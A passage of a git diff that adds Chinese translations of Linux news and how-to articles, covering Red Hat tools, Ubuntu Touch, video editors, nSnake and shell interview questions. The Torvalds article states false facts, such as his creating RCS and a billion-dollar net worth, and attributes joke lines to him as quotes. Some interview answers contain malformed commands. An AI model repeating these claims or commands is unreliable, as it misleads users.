+[8]:http://www.linuxlinks.com/article/20140201113353386/Berusky.html +[9]:http://www.linuxlinks.com/article/20080525211221167/gbrainy.html +[10]:http://www.linuxlinks.com/article/2009081921375955/Monsterz.html +[11]:http://www.linuxlinks.com/article/20090815144344770/levelHead.html +[12]:http://www.linuxlinks.com/article/20140201142055360/gjid.html +[13]:http://www.linuxlinks.com/article/20140201161809886/Bombermaaan.html +[14]:http://www.linuxlinks.com/article/2009081514441763/AngryDrunkenDwarves.html +[15]:http://www.linuxlinks.com/article/20140201183159376/Berusky2.html +[16]:http://www.linuxlinks.com/article/20101211063800755/NumptyPhysics.html +[17]:http://www.linuxlinks.com/article/20090819213709180/Amoebax.html +[18]:http://www.linuxlinks.com/article/20140201165631283/Klest-crossword.html +[19]:http://www.linuxlinks.com/article/20090819213733554/Xwelltris.html +[20]:http://www.linuxlinks.com/article/20140201163108930/IHaveNoTomatoes.html +[21]:http://www.linuxlinks.com/article/20140201152715356/CubeTrains.html +[22]:http://www.linuxlinks.com/article/20080510105058649/Pingus.html +[23]:http://www.linuxlinks.com/article/20090819212528284/Trackballs.html +[24]:http://www.linuxlinks.com/article/20100501151619134/BrainWorkshop.html +[25]:http://www.linuxlinks.com/article/20100503031223387/rezerwar.html +[26]:http://www.linuxlinks.com/article/20100503031206947/BrainParty.html +[27]:http://www.linuxlinks.com/article/20100808120210293/JAG.html +[28]:http://www.linuxlinks.com/article/2010080812021597/AtomicWorm.html +[29]:http://www.linuxlinks.com/article/20090815144506601/Pioneers.html +[30]:http://www.linuxlinks.com/article/20080517164445969/FishFillets.html diff --git a/published/201404/Red Hat Updates Open Source Software Development Tools.md b/published/201404/Red Hat Updates Open Source Software Development Tools.md new file mode 100644 index 0000000000..68babfd9f5 --- /dev/null +++ b/published/201404/Red Hat Updates Open Source Software Development Tools.md @@ -0,0 +1,28 @@ +红帽更新开源软件开发工具 +================================================================================ +[红帽][1](RHT)更新了其开源编程语言和开发工具,即熟知的红帽软件集合,目前可用的是1.1测试版本。这套开发套件(独立发布的)是其旗舰产品[红帽企业版Linux][2](RHEL)的补充。 + +红帽软件集合[发布][3]于2013年秋季,其目标群体是那些想要借助单一来源来部署最新的稳定版本的主导开源编程语言、数据库和工具集的开源软件开发者。红帽以订阅服务方式提供这组套件,承诺会比RHEL提供更多的软件更新。而通常情况下,只有在公司推出操作系统自身的新版本时,才会更新软件包。 + +红帽计划每18个月发布一次新的红帽软件集合的大版本,但也会提供更加频繁地增量更新。这个平台的1.1版本是自红帽推出这项服务之后的首次更新,属于那些次要的更新之一。[根据红帽官方][4],主要包括以下改变: + +- 两个全新的开源HTTP服务器选项:Apache HTTP服务器和Ngnix(技术预览版) +- PHP 5.5,为web开发设计的服务器端脚本语言 +- Ruby 2.0和Rails 4.0,首次为分开打包,使得开发者们无需安装Rails就可以获取Ruby的更新版本 +- MongoDB,一款高性能开源文档数据库和领先的NoSQL数据库,提供高可用性和易可扩展性 +- Thermostat 1.0,一款监控多个主机上Java虚拟机实例的工具 + +尽管目前红帽软件集合不像RHEL一样是红帽商业的重要部分,但对开源社区来说这是一个很好的范例,体现在一个组织在开源开发快速增长和自然分散的情况下如何协调用户对稳定且时新的软件需求。像红帽一样的开源供应商严重依赖于第三方产生代码,但同时它们很少发布软件的新版本——甚至经常不严格遵照定期发布时间安排——这也是为什么一个开源平台很难完全保持最新。但是红帽承担起这份工作,将远端开源项目最新的稳定发布版本合并一个集成的软件套件中,为开发者节省了大量的时间——当然前提是他们已经订阅了这款红帽软件集合。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/032414/red-hat-updates-open-source-software-development-tools + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://redhat.com/ +[2]:http://www.redhat.com/products/enterprise-linux/ +[3]:http://developerblog.redhat.com/2013/09/12/rhscl1-ga/ +[4]:http://www.redhat.com/about/news/archive/2014/3/red-hat-software-collections-1-1-beta-now-available \ No newline at end of file diff --git a/published/201404/Ubuntu Touch Email Client Mockup Design Looks Fantastic.md b/published/201404/Ubuntu Touch Email Client Mockup Design Looks Fantastic.md new file mode 100644 index 0000000000..c7d03f57fc --- /dev/null +++ b/published/201404/Ubuntu Touch Email Client Mockup Design Looks Fantastic.md @@ -0,0 +1,28 @@ +Ubuntu Touch 的邮件客户端样例的设计看起来很炫哦 +================================================================================ +电子邮件App是迄今为止Ubuntu Touch上面最受关注的应用之一,并且,激烈的战役正在前端打响。 最近,一个设计者针对这个app设计了一套外观,并在Google+上面分享了样例。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Email-Client-Mockup-Design-Looks-Fantastic-432758-2.jpg) + +所有Ubuntu Touch用户都在等待很快到来的那个email客户端,不过现在,它可以提前让我们眼前一亮了,因为[Andrea Del Sarto][1]发布了一个样例,它看起来美极了! + +当谈及email客户端时,用户的体验较为局限,我们所知的一切关于email app的外观和工作原理的知识都是来自于Blackberry, Android, 或者 iOS。然而摆在Ubuntu开发人员的面前的,是一条艰难的道路,因为他们是从头开始,并且他们总得令Ubuntu相较于其他系统有一些不同的体验。 + +找个样例是一个良好的开端,坦白地讲,它看起来要比那些在其他平台上面已有的实现都要好。设计工作才刚刚开始,然而从这中间,我们能够看到的是,Ubuntu email客户端将会变的更加美观,以及它将充分利用了Ubuntu Touch最好的特性之一:即其底部无虚拟按键。 + + +![Ubuntu Touch Email Client Mockup Design](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Email-Client-Mockup-Design-Looks-Fantastic-432758-3.jpg) +Ubuntu Touch Email Client Mockup Design + +![Ubuntu Touch Email Client Mockup Design](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Email-Client-Mockup-Design-Looks-Fantastic-432758-4.jpg) +Ubuntu Touch Email Client Mockup Design + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Touch-Email-Client-Mockup-Design-Looks-Fantastic-432758.shtml + +译者:[tomatoKiller](https://github.com/tomatoKiller) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://plus.google.com/u/0/+AndreaDelSarto88/posts/75vU5XoNDjA \ No newline at end of file diff --git a/published/201404/Ultimate Edition 3.9 Linux Distro Is a Complete Mess.md b/published/201404/Ultimate Edition 3.9 Linux Distro Is a Complete Mess.md new file mode 100644 index 0000000000..50754acf25 --- /dev/null +++ b/published/201404/Ultimate Edition 3.9 Linux Distro Is a Complete Mess.md @@ -0,0 +1,26 @@ +Linux 发行版 Ultimate Edition 3.9 太坑爹了 +================================================================================== +![](http://i1-news.softpedia-static.com/images/news2/Ultimate-Edition-3-9-Linux-Distro-Is-a-Complete-Mess-436797-2.jpg) + +**基于 Ubuntu 13.04(Raring Ringtail)的 Linux 发行版 Ultimate Edition 3.9 已经发布并可供下载。** + +Ultimate Edition 的上一个版本很接地气,有点儿有意思的功能。Ultimate Edition 本来是为数不多的选择 Unity 作为桌面环境的发行版,但目前这个版本太坑爹了。 + +你会发现最新版本的桌面环境变成 KDE 了,还是个又难看又恶心的 KDE 变种。Ultimate Edition 的开发者曾为窗口管理器实现了一系列酷炫的特效,现在这种闪光点再也闪不出光了。 + +这个发行版内置了包括 FireFox 在内的一堆浏览器、LibreOffice 和一大堆功能重叠的应用程序。可能开发者觉得提供多种用途相同的软件是个好主意。 + +Ultimate Edition 3.9 被当做一个稳定的发行版,它鼓励用户使用它时要有信心,我们只好问自己,为什么会有人有信心。 + +[官方网站的公告][1]包含有关这次发布的更多详情。你可以下载 Linux 发行版 [Ultimate Edition 3.9][2] 试试看。 + +--------------------------------------------------------------------------------- + +译自: http://news.softpedia.com/news/Ultimate-Edition-3-9-Linux-Distro-Is-a-Complete-Mess-436797.shtml + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ultimateedition.info/ultimate_edition/time-is-of-the-essence/ +[2]:http://ultimateedition.info/ultimate-edition/ultimate_edition_3-6/ diff --git a/published/201404/What if Linus Torvalds Would Have Accepted Job Proposal of Steve Jobs.md b/published/201404/What if Linus Torvalds Would Have Accepted Job Proposal of Steve Jobs.md new file mode 100644 index 0000000000..d61b4fa876 --- /dev/null +++ b/published/201404/What if Linus Torvalds Would Have Accepted Job Proposal of Steve Jobs.md @@ -0,0 +1,77 @@ +如果托瓦兹接受了乔布斯的职业建议会怎样? +================================================================================ +苹果公司创始人史蒂芬乔布斯曾为 Linux 和 Git 这两个伟大的开源项目创始人托瓦兹提供工作。托瓦兹从未见过微软公司的比尔盖茨,但却在2000年的时候遇上了乔布斯。那时候的他任职于美国半导体设计公司全美达(Transmeta)。乔布斯邀请托瓦兹去位于库比蒂诺的苹果总部工作,为他提供丰厚的薪水和优越的职位,但是他在苹果的工作却是与Linux无关的。正是由于这个原因托瓦兹拒绝了乔布斯的邀请。况且,托瓦兹根本就不喜欢苹果操作系统的内核Mach。 + +![Linus Torvalds](http://www.tecmint.com/wp-content/uploads/2014/02/Linux-Torvalds.jpg) + +### 如果托瓦兹接受了邀请会怎么样?### + +在那个时候如果托瓦兹答应乔布斯去苹果工作,那现在的世界将会不一样。我们不会有 Linux,Kindle 和 Android。互联网上一半以上的内容和超过九成的服务器都将不复存在。毫不夸张的说,世界绝不可能是现在这个样子。 + +### 托瓦兹拒绝乔布斯的负面影响有哪些? ### + +原本我们可以看到托瓦兹和乔布斯两个天才在一起工作。或许世界也将从他们俩的合作中获益。但可以肯定的是,我们将冒着失去 Linux 的风险。 + +### 托瓦兹为自己代言 ### + +有时候,托瓦兹由于他那些极具争议的言论而显得傲慢。但这与他对世界的贡献是不相符的。他创造了 Linux 和 Git 两个极好的开源项目,并使他们自由免费。有许多攻讦托瓦兹的言论说他从没有拿出他的部分收入来改善这个世界。但事实上,托瓦兹对于他人贡献是难以想象的。托瓦兹将他最完美的作品变成免费。而他本可以从中获得数以亿计的收入。他将他所拥有的一切无私平等地奉献给了整个世界。 + +### 托瓦兹作为一个普通人 ### + +Linux 内核的总设计师是一个很好又有趣的人。他谈论着世界的各个方面。他的博客涉及孩子、万圣节和祖国等方方面面。你可以通过博客和 G+ 来关注他。 + +#### 关注托瓦兹的博客 #### + +- [http://torvalds-family.blogspot.in/][1] +- [http://www.linuxfoundation.org/blogs/linus-torvalds][2] + +#### 关注托瓦兹的G+ #### + +- [https://plus.google.com/+LinusTorvalds/posts][3] + +### 托瓦兹鲜为人知之事 ### + +- 年薪:1000万美元 +- 身价:15亿美元 +- 版本控制系统RCS,Git和Linux内核的创始人。 +- 托瓦兹更乐于使用开源软件,但他从不介意通过商业软件来获得最佳的效果。 +- 在2008年和2012年的采访中,托瓦兹表示自己喜欢使用 Fedora 系统是由于 Fedora 对于 PowerPC 系列处理器的良好支持。 +- 由于 Linux 基金会的赞助,托瓦兹可以全身心地投入到Linux的开发中去。 + +### 托瓦兹的至理名言 ### + +托瓦兹说过的一些话. + +#### 引用 #### + +> “托瓦兹不戴眼镜,他已经把 X11 系统当作了他的眼镜,所以他不再需要眼镜。” +> +> “当你说,我写了一款摧毁 Windows 的软件,人们只会一脸茫然地对你说,我已经在使用这款免费的软件。” +> +> “只有懦夫才使用磁盘来维护备份的文件,强者将文件上传至公共的 FTP 服务器让所有人来下载。” +> +> “你看,为了写出 Linux 这样的系统,你不仅需要是一位好的程序员,还要是一个狡猾的坏蛋。” + +#### 名言 #### + +> “让 Linux 在 GPL 协议下自由发展是我做的过最精彩的事。” + +### 结论 ### + +有些人认为,如果托瓦兹没有创造出 Linux,其他人也可能创造出类似的系统。例如“米歇尔”也许会写出一款叫做“Michel”的操作系统。说这些并不是让我们低估托瓦兹的能力,牺牲以及他所作的贡献。 + +托瓦兹是一个救世主、极客、开发者、美国宇航局研究实验室的管理、白帽子黑客等其他托瓦兹所做过的职业。托瓦兹的优越感对于他自己而言没有任何问题。世界也会感谢他的。 + +这是全部了,我会再次和大家见面并带来你们喜欢的文章。请在下面的评论区分享你们宝贵的意见。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/what-if-linus-torvalds-would-have-accepted-job-proposal-of-steve-jobs/ + +译者:[YangYuxiang](https://github.com/YangYuxiang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://torvalds-family.blogspot.in/ +[2]:http://www.linuxfoundation.org/blogs/linus-torvalds +[3]:https://plus.google.com/+LinusTorvalds/posts diff --git a/published/201404/What is good video editing software on Linux.md b/published/201404/What is good video editing software on Linux.md new file mode 100644 index 0000000000..9c11ea89d8 --- /dev/null +++ b/published/201404/What is good video editing software on Linux.md @@ -0,0 +1,162 @@ +十一款 Linux 上的视频编辑软件横评 +================================================================================ +视频编辑器能让你完成各式各样的视频后期制作的活儿,包括常见的编排、剪切、拼接、剪辑以及其他通过时间轴界面的视频片段增强功能(例如为视频片段增加特效)。在现代的视频编辑软件中,像多编解码器导入/转码、非线性视频编辑甚至是高清视频支持,都早已变成了行业标准。 + +在本文中,我将介绍 **11 款可以在 Linux 环境使用的视频编辑软件**。我不会介绍诸如易用性或是界面设计这样带有主观色彩的优点,但我会介绍每款视频编辑器独具特色的功能。如果你曾经使用过下面列出的任何一款视频编辑器,敬请随意分享你的使用体验或者想法。 + +### 1. Avidemux ### + +![](http://farm8.staticflickr.com/7452/12867967445_9848544802_z.jpg) + +- 许可协议: GNU GPL +- 跨平台(Linux, BSD, MacOS X, Windows) +- 支持 GUI 和 命令行模式 +- 支持 JavaScript(感谢 SpiderMonky JavaScript 引擎) +- 内置的字幕处理 +- 官方网站: [http://fixounet.free.fr/avidemux][1] + +### 2. Blender ### + +![](http://farm3.staticflickr.com/2038/12960698134_74c974064c_z.jpg) + +- 许可协议: GNU GPL v3+ +- 跨平台(Linux, BSD, MacOS X, Windows) +- 专门用于于 3D 建模和动画 +- 支持图像/视频合成 +- 视音频特效和转场 +- 官方网站: [http://www.blender.org][2] + +### 3. Cinelerra-CV ### + +![](http://farm3.staticflickr.com/2867/12867966335_9dd6032d43_z.jpg) + +- 许可协议: GNU GPL +- 提供 Cinelerra 视频编辑器的社区版本 +- 支持视频合成 +- 允许从文件管理器中拖放文件 +- OpenGL 驱动的视频播放 GPU 加速 +- 视音频特效和转场 +- 直接捕捉摄像机画面 +- 跨平台(Linux 和 Windows) +- 官方网站: [http://cinelerra.org][3] + +### 4. Flowblade ### + +![](http://farm8.staticflickr.com/7384/12868043903_55798d69dc_z.jpg) + +- 许可协议: GNU GPL v3 +- 支持基于 FFmpeg 的多种文件类型 +- 允许从文件管理器中拖放文件 +- 支持视频和图像合成 +- 图像和音频特效 +- 允许在时间轴上自动放置视频剪辑 +- 官方网站: [https://code.google.com/p/flowblade/][4] + +### 5. Jahshaka ### + +![](http://farm4.staticflickr.com/3675/12867967135_465d74cbd0_z.jpg) + +- 许可协议: GNU GPL +- 跨平台(Linux, MacOS X, Windows) +- 支持 2D/3D 动画特效和视频合成 +- 支持协同编辑(比如用编辑服务器和中央数据库的方式) +- 媒体资源管理 +- 基于 GPU 的特效 +- 官方网站: [http://www.jahshaka.com][5] + +### 6. Kdenlive ### + +![](http://farm3.staticflickr.com/2828/12868395504_828564d3d4_z.jpg) + +- 许可协议: GNU GPL v2+ +- KDE 环境下可用的视频编辑器 +- 支持基于 FFmpeg 的多种文件类型 +- 视音频特效和转场 +- 能够混合来源不同的视频、音频和图像 +- 捕捉摄像头、网络摄像头、Video4Linux 设备或者 X11 屏幕 +- 导出到互联网视频分享网站,比如 YouTube、Dailymotion 以及 Vimeo +- 官方网站: [http://www.kdenlive.org][6] + +### 7. Lightworks ### + +![](http://farm8.staticflickr.com/7437/12868546774_368f267995_z.jpg) + +- 许可协议: Freemium +- 跨平台(Linux, BSD, MacOS X, Windows) +- 多语言支持 +- 实时 GPU 加速的视频特效和合成功能 +- 官方网站: [http://www.lwks.com][7] + +### 8.LiVES ### + +![](http://farm8.staticflickr.com/7370/12868043753_ea9aaf4a97_z.jpg) + +- 许可协议: GNU GPL +- 跨平台(Linux, BSD, MacOS X, Solaris) +- 借由 mplayer 实现的多种视频格式支持 +- 插件方式实现的可扩展的视音频特效 +- 通过 OSC 协议的远程控制 +- 从火线和和电视卡捕捉视频 +- 无损备份和崩溃恢复 +- 支持从 YouTube 导入视频剪辑 +- 官方网站: [http://lives.sourceforge.net][8] + +### 9. OpenShot ### + +![](http://farm4.staticflickr.com/3674/12868395634_f33d7545b8_z.jpg) + +- 许可协议: GNU GPL v3 +- 支持基于 FFmpeg 的多种文件类型 +- 允许从文件管理器中拖放文件 +- 支持 2D 标题(感谢 Inkscape)和 3D 动画标题(感谢 Blender) +- 数字变焦 +- 带预览功能的动画视频转场 +- 支持视频合成和图像水印 +- 滚动字幕方式的“鸣谢”和其他文本 +- 官方网站: [http://www.openshot.org][9] + +### 10. Pitivi ### + +![](http://farm8.staticflickr.com/7399/12868396354_d9796a378c_z.jpg) + +- 许可协议: GNU LGPL +- 由 GStreamer Editing Service 提供的视频导入、转换和渲染 +- 视音频特效和转场 +- 支持关键帧和视频合成 +- 可拆分的用户界面 +- 多语言支持(感谢 GNOME 的集成) +- 官方网站: [http://www.pitivi.org][10] + +### 11. Shotcut ### + +![](http://farm4.staticflickr.com/3671/12867967295_7b3e5671ce_z.jpg) + +- 许可协议: GNU GPL +- 跨平台 (Linux, MacOS X, Windows) +- 支持基于 FFmpeg 的多种文件类型 +- 允许自定义用户界面,面板可停靠 +- 多种格式的时间轴(比如不同的分辨率及帧频) +- 捕捉网络摄像头,HDMI,IP流和 X11 屏幕 +- 允许从文件管理器中拖放文件 +- 使用 OpenGL 并有 GPU 协助的图像处理 +- 官方网站: [http://www.shotcut.org][11] + +-------------------------------------------------------------------------------- + +译自: http://xmodulo.com/2014/03/good-video-editing-software-linux.html + +译者:[sailing](https://github.com/blueabysm) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://fixounet.free.fr/avidemux/ +[2]:http://www.blender.org/ +[3]:http://cinelerra.org/ +[4]:https://code.google.com/p/flowblade/ +[5]:http://www.jahshaka.com/ +[6]:http://www.kdenlive.org/ +[7]:http://www.lwks.com/ +[8]:http://lives.sourceforge.net/ +[9]:http://www.openshot.org/ +[10]:http://www.pitivi.org/ +[11]:http://www.shotcut.org/ diff --git a/published/201404/Windows 7 & 8 Complete Transformation Pack Out for Ubuntu, Debian 8, and Arch Linux.md b/published/201404/Windows 7 & 8 Complete Transformation Pack Out for Ubuntu, Debian 8, and Arch Linux.md new file mode 100644 index 0000000000..285b247009 --- /dev/null +++ b/published/201404/Windows 7 & 8 Complete Transformation Pack Out for Ubuntu, Debian 8, and Arch Linux.md @@ -0,0 +1,31 @@ +给你的 Linux 桌面披上 Windows 8 的外衣 +================================================================================ + +**开发者已经完成了新的仿Windows 7/8 的LXDE美化包,并且支持了呼声很高的Arch Linux。 ** + +![](http://i1-news.softpedia-static.com/images/news2/Windows-7-8-Complete-Transformation-Pack-Out-for-Ubuntu-Debian-8-and-Arch-Linux-431448-2.jpg) + + +不管你喜不喜欢,还是有很多人乐意把他们的系统美化成Windows 7或者Windows 8的界面。开发者制作了一个美化包能让这些用户安全的转换,并且尽量模仿了Windows 系统的界面。 + +LXDE的仿Windows 7/8美化包已经存在了一段时间,但是它在过去几个月仅仅得到了有限的影响,而且安装它也不是那么容易。因为它存在着很特殊的依赖性:必须安装LXPanel, LXSession (需要最新的0.4.9版本来更换图标、gtk主题和光标), PCManFM, Compton, Openbox, SliM, gtk2-engines-murrine 和gtk2-engines-pixbuf。 + +目前这个美化包能运行在Debian (Jessie) 和Ubuntu 上,你只需要在官方仓库上下载LXDE的包安装即可。奇怪的是,这个包不支持Lubuntu。 + + +关于仿Windows 7/8 美化包的更多信息请访问[官网][1] + +下载 WinAte 1.3 + +- [WinAte 1.3 tar.gz][2][源码] [31 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Windows-7-8-Complete-Transformation-Pack-Out-for-Ubuntu-Debian-8-and-Arch-Linux-431448.shtml + +译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://nhermosilla14.deviantart.com/art/WinAte-Windows-7-8-Transformation-Pack-for-LXDE-430156546 +[2]:https://github.com/nhermosilla14/WinAte/archive/1.3.tar.gz \ No newline at end of file diff --git a/published/201404/nSnake--Play The Classic Snake Game In Linux Terminal.md b/published/201404/nSnake--Play The Classic Snake Game In Linux Terminal.md new file mode 100644 index 0000000000..b5b13e1baa --- /dev/null +++ b/published/201404/nSnake--Play The Classic Snake Game In Linux Terminal.md @@ -0,0 +1,39 @@ +nSnake: 在Linux的终端上玩经典的贪食蛇游戏 +================================================================================ +你知道20世纪末的那些古老的诺基亚手机上最棒的东西是什么吗? [贪食蛇][1]! 我以前在这个看似无聊但却让人上瘾的游戏上花费了大把的时间。在古老的诺基亚手机被智能手机取代的同时,贪食蛇也被另外的无聊但却令人上瘾的游戏取代了,比如说:[神庙逃亡][2]。但是,贪食蛇本身的魅力仍在。 + +在Android,iOS以及Web上有很多可以玩的贪食蛇游戏。另外,在Linux终端上也有类似的游戏。对,你没有听错,Linux终端上真的有。 + +### nSnake: Linux终端上的经典贪食蛇游戏 ### + +[nSnake][3] 是[Alexandre Dantas][4]开发的经典游戏——贪食蛇的Linux终端版本。差不多在所有的Linux发行版中,你都可以获取nSnake,但是在这篇文章中我们只介绍如何在Ubuntu以及与Ubuntu相似的发行版中安装它。 + +要在Ubuntu或者Linux Mint中安装nSnake, 你只需要打开终端,然后使用下面的命令: + + sudo apt-get install nsnake + +一旦安装成功,你就可以使用下面的命令来运行游戏了: + + nsnake + +在终端中运行起来的nSnake就类似于下面截图中的内容。如果你很纠结,为什么我的Ubuntu终端和Ubuntu默认的紫红色终端不一样呢?那是因为我用了Numix主题。[更多优秀的Ubuntu主题][5] + +![Play Snake game in Linux terminal with nSnake](http://itsfoss.com/wp-content/uploads/2014/03/nSnake_Linux_terminal_game.jpeg) + +玩nSnake是非常简单的。你可以从开始界面选择游戏速度以及是否开启边框。游戏开始后,使用方向键控制贪吃的小蛇蛇,P键暂停游戏,Q键退出游戏。 + +你觉得nSnake怎么样? 你以前玩过吗? 你还玩过其他的Linux终端游戏吗? 来跟我们分享一下吧! + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/nsnake-play-classic-snake-game-linux-terminal/ + +译者:[intermerlin](https://github.com/intermerlin) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Snake_(video_game) +[2]:http://en.wikipedia.org/wiki/Temple_Run +[3]:http://alexdantas.net/projects/nsnake/ +[4]:http://alexdantas.net/ +[5]:http://itsfoss.com/best-themes-ubuntu-1310/ diff --git a/published/201405/10 Useful 'Interview Questions and Answers' on Linux Shell Scripting.md b/published/201405/10 Useful 'Interview Questions and Answers' on Linux Shell Scripting.md new file mode 100644 index 0000000000..5357db04b1 --- /dev/null +++ b/published/201405/10 Useful 'Interview Questions and Answers' on Linux Shell Scripting.md @@ -0,0 +1,149 @@ +Linux Shell脚本的10个有用的“面试问题和解答” +================================================================================ + +首先致上每日问候。Linux的浩瀚无垠,使人总能每次都提交与众不同的内容。我们“**The-Tecmint-Team**”的工作是给我们的读者提供一些独特的内容,这些内容不仅对他们的职业生涯很有用,同时也让他们增长知识。在此,我们就尝试这么去做,至于能取得多大的成功,就由我们的读者朋友们来判断吧。 + +![Questions on Shell Scripting](http://www.tecmint.com/wp-content/uploads/2014/05/Questions-on-Shell-Scripting.png) + +我们为各类用户提供了关于**Shell脚本**语言和**面试问题**的很多教程,可以访问以下链接去阅读这些文章。 +- [Shell脚本系列][1] +- [面试问题与解答系列][2] + +在此,作为shell脚本的附加内容,在本文中我们将从面试的角度解读与Linux Shell相关的问题。 + +#### 1. 在shell脚本成功执行前,如何中断脚本执行? #### + +> **解答**:我们需要使用‘exit’命令来实现以上描述的情境。‘exit’命令被强制输出非0值时,脚本会报错并退出。在Unix环境下的shell脚本中,0值表示成功执行。因此,在脚本终止前执行一个不带引号的‘exit -1’命令将使脚本中止。 + +例如,创建以下一个名为“**anything.sh**”的脚本。 + + #!/bin/bash + echo "Hello" + exit -1 + echo "bye" + +保存文件并执行。 + + # sh anything.sh + + Hello + exit.sh: 3: exit: Illegal number: -1 + +从上面的脚本中可以清楚地看到,在exit -1命令前,脚本执行得很好。 + +#### 2. 如何使用Linux命令来移除文件头? #### + +> **解答**:当我们需要删除文件中的指定行时,‘sed’命令可以用来解决该问题。 + +这个是用来删除文件头(文件的首行)的正确命令。 + + # sed '1 d' file.txt + +上面命令的问题是,它会在标准输出设备上输出不带首行的文件内容。为了保存输出到文件,我们需要使用重定向操作符,它将帮助你将输出重定向到文件。 + + # sed '1 d' file.txt > new_file.txt + +好吧,其实**sed**命令内建的‘**-i**’开关就可以干这活,就不需要重定向符了吧。 + + # sed -i '1 d' file.txt + +#### 3. 你怎么检查一个文本文件中某一行的长度? #### + +> **解答**:‘sed’命令也可以用来查找文本文件中的某一行或者检查其长度。 + +‘**sed -n ‘n p’ file.txt**’可以解决,这里‘**n**’表示行号,‘**p**’打印出匹配内容(到标准输出),该命令通常与**-n**命令行选项连用。那么,怎样来获取长度计数呢?很明显,我们需要通过管道输出给‘**wc**’命令来计算。 + + # sed –n 'n p' file.txt | wc –c + +要得到文本文件‘**tecmint.txt**’的第五行的长度,运行如下命令: + + # sed -n '5 p' tecmint.txt | wc -c + +#### 4. 可以在Linux系统上查看到所有非打印字符吗?你是怎么做到的? #### + +> **解答**:可以。可以在Linux中查看所有的非打印字符。要实现上面所讲的方案,我们需要‘vi’编辑器的帮助。 +怎样在‘**vi**’编辑器中显示非打印字符? + +- 打开vi编辑器。 +- 先按[esc]键,然后按‘:’进入到vi编辑器的命令模式。 +- 最后,从‘vi’编辑器的命令界面输入`set list`命令并执行。 + +**注**: 这种方式可以查看文本文件中的所有非打印字符,包括**ctrl+m(\^M)**。 + +#### 5. 假如你是一个员工组的团队领导,为xyz公司工作。公司要求你创建一个‘dir_xyz’目录,让该组成员都能在该目录下创建或访问文件,但是除了文件创建者之外的其他人不能删除文件,你会怎么做? #### + +> **解答**:这真是个有趣的工作方案。好吧,上面所讲的方案,我们需要通过下面的步骤来实施,这简直就是小菜一碟。 + + # mkdir dir_xyz + # chmod g+wx dir_xyz + # chmod +t dir_xyz + +第一行命令创建了一个目录(**dir_xyz**),上面的第二行命令让组(g)具有‘写’和‘执行’的权限,而上面的最后一行命令——权限位最后的‘+t’是‘粘滞位’,它用来替换‘x’,表明在这个目录中,文件只能被它们的拥有者、目录的拥有者或者是超级用户root删除。 + +#### 6. 你能告诉我一个Linux进程经历的各个阶段吗? #### + +> **解答**:一个Linux进程在它的一生中,通常经历了四个主要阶段。 + +这里是Linux进程要经历的四个阶段。 + +- 等待:Linux进程等待资源。 +- 运行:Linux进程当前正在执行中。 +- 停止:Linux进程在成功执行后或收到杀死进程信号后停止。 +- 僵尸:如果该进程已经结束,但仍然留在进程表中,被称为‘僵尸’。 + +#### 7. Linux中cut命令怎么用? #### + +> **解答**:‘cut’是一个很有用的Linux命令,当我们要截取文件的指定部分并打印到标准输出,当文本区域以及文件本身很大时,这个命令很有用。 + +例如,截取‘**txt_tecmint**’文件的前10列。 + + # cut -c1-10 txt_tecmint + +要截取该文件中的第二,第五和第七列。 + + # cut -d;-f2 -f5 -f7 txt_tecmint + +#### 8. ‘cmp’和‘diff’命令的区别是什么? #### + +> **解答**:‘cmp’和‘diff’命令用来获取相同的东西,但各有侧重。 + +‘**diff**’命令输出为了使两个文件一样而应该做的修改。而‘**cmp**’命令则将两个文件逐字节对比,并报告第一个不匹配的项。 + +#### 9. 可以用‘echo’命令来替换‘ls’命令吗? #### + +> **解答**:可以的。‘ls’命令可以用‘echo’命令来替代。‘ls’命令列出目录内容,从替换上述命令的角度讲,我们可以使用‘echo *’,两个命令的输出完全一样。 + +#### 10. 你可能听过inode吧。你能简要描述一下inode吗? #### + +> **解答**:‘inode’是一个‘数据结构’,在Linux上用于文件标识。每个文件在Unix系统上有一个独立的‘inode’和一个‘唯一的’inode号。 + +到此为止吧。在下一篇文章中,我们将讨论另外一些有趣味性而又有知识性的面试问题。到那时,别跑开,请上Tecmint.com,别忘了在下面的评论部分给我们提供一些有价值的反馈哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/interview-questions-on-shell-scripting/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/category/bash-shell/ +[2]:http://www.tecmint.com/category/interview-questions/ +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: \ No newline at end of file diff --git a/published/201405/16 commands to check hardware information on Linux.md b/published/201405/16 commands 